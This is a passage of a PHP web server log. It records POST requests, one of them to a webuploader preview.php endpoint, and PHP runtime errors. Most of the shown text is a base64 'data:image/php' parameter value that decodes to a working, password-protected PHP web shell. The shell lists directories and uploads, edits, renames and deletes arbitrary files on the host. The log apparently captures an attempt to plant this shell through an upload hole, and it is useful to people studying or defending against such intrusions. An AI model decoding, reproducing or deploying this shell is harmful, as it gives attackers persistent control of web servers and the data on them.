'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:33:29+08:00 ] 116.213.36.234 POST www.51tianwei.com/res/webuploader/0.1.15/server/preview.php [运行时间:0.002838s] [吞吐率:352.37req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'res', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 